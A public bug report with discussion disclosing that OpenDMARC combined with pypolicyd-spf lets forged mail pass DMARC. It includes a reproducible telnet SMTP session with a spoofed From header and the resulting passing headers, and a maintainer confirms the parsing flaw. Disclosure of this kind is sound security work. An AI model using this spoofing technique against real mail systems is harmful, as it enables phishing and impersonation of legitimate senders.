Menu

#235 Security Bug: OpenDMARC can can be bypassed when it's used with pypolicyd-spf

1.3.2
open
nobody
None
2019-10-04
2019-08-06
Jianjun
No

If a mail server uses both OpenDMARC and pypolicyd-spf, its SPF and DMARC authentication can be bypassed with the following message:

HELO: attacker.com
MAIL FROM: any@not.exist.legitimate.com
...
From: admin@legitimate.com
...

  • pypolicyd-spf uses the HELO identifier and generates the following message:
    Authentication-Results: mx.legitimate.com; spf=pass (helo) smtp.helo=attacker.com

  • OpenDMARC uses the MAIL FROM identifier to check alignment with the From header.

Given the popularity of OpenDMARC and pypolicyd-spf, this bug may affect many online services. Hope you can fix it soon.

Discussion

  • Juri Haberland

    Juri Haberland - 2019-08-07
    • Why do you accept mail from a non-exisitent domain in the first place?
    • Are you absolutely sure that OpenDMARC uses the MAIL FROM and not the FROM? Actually, OpenDMARC should never look at the MAIL FROM...
      Please provide some real log excerpts that show output from pypolicyd-spf, OpenDMARC and the used MTA.
     
  • Jianjun

    Jianjun - 2019-08-07

    Thanks for your questions.

    Here is the detailed steps to reproduce the attack:

    1.Software version
    Postfix v3.3.0
    pypolicyd-spf v2.0.2
    opendmarc v1.3.2

    2.Configuration
    Postfix enables pypolicyd-spf in its master.conf file.

    policy-spf  unix  -       n       n       -       -       spawn
         user=nobody argv=/usr/local/bin/policyd-spf
    

    pypolicyd-spf use its default configuration.

    debugLevel = 5
    TestOnly = 1
    
    HELO_reject = Fail
    Mail_From_reject = Fail
    
    PermError_reject = False
    TempError_Defer = False
    
    skip_addresses = 127.0.0.0/8,::ffff:127.0.0.0/104,::1
    

    3.Send message via Telnet

    Here are the SMTP commands via telnet:

    HELO attack.com
    MAIL FROM: <any@not.exist.legitimate.com>
    RCPT TO: <recvmail@victim.com>
    DATA
    From: <admin@legitimate.com>
    To: <recvmail@victim.com>
    Subject: test
    
    test
    
    .
    
    QUIT
    

    4. Full message headers

    Return-Path: <any@not.exist.legitimate.com>
    X-Original-To: recvmail@victim.com
    Delivered-To: recvmail@victim.com
    Received-SPF: Pass (helo) identity=helo; client-ip=1.2.3.4; helo=attack.com; envelope-from=any@not.exist.legitimate.com; receiver=<UNKNOWN> 
    Authentication-Results: ubuntu; dmarc=pass (p=none dis=none) header.from=legitimate.com
    Received: from attack.com by ubuntu (Postfix) with SMTP id 72D1D499C9
            for <recvmail@victim.com>; Wed, 7 Aug 2019 14:23:45 -0400 (EDT)
    From: <admin@legitimate.com>
    To: <recvmail@victim.com>
    Subject: test
    

    Received-SPF header is generated by pypolicyd-spf. Sorry for the mistake in my initial report.
    Authentication-Results header shows that the message has passed DMARC check.

    I have also reported this issue to pypolicyd-spf last week. They said it's not their bug. See https://bugs.launchpad.net/pypolicyd-spf/+bug/1838816.

     
  • Juri Haberland

    Juri Haberland - 2019-08-08

    Can you retest with pypolicyd-spf set to AR mode (Header_Type = AR)?

     
  • Juri Haberland

    Juri Haberland - 2019-08-08

    Yep, you are right. Parsing of the Received-SPF header is too simple. It does not look at the identity, just at the result. So even a Received-SPF header already present in the incoming mail would be taken...
    This assumes, that OpenDMARC is configured to not use the internal SPF code and that no Authentication-Results header for SPF is present.

     

Log in to post a comment.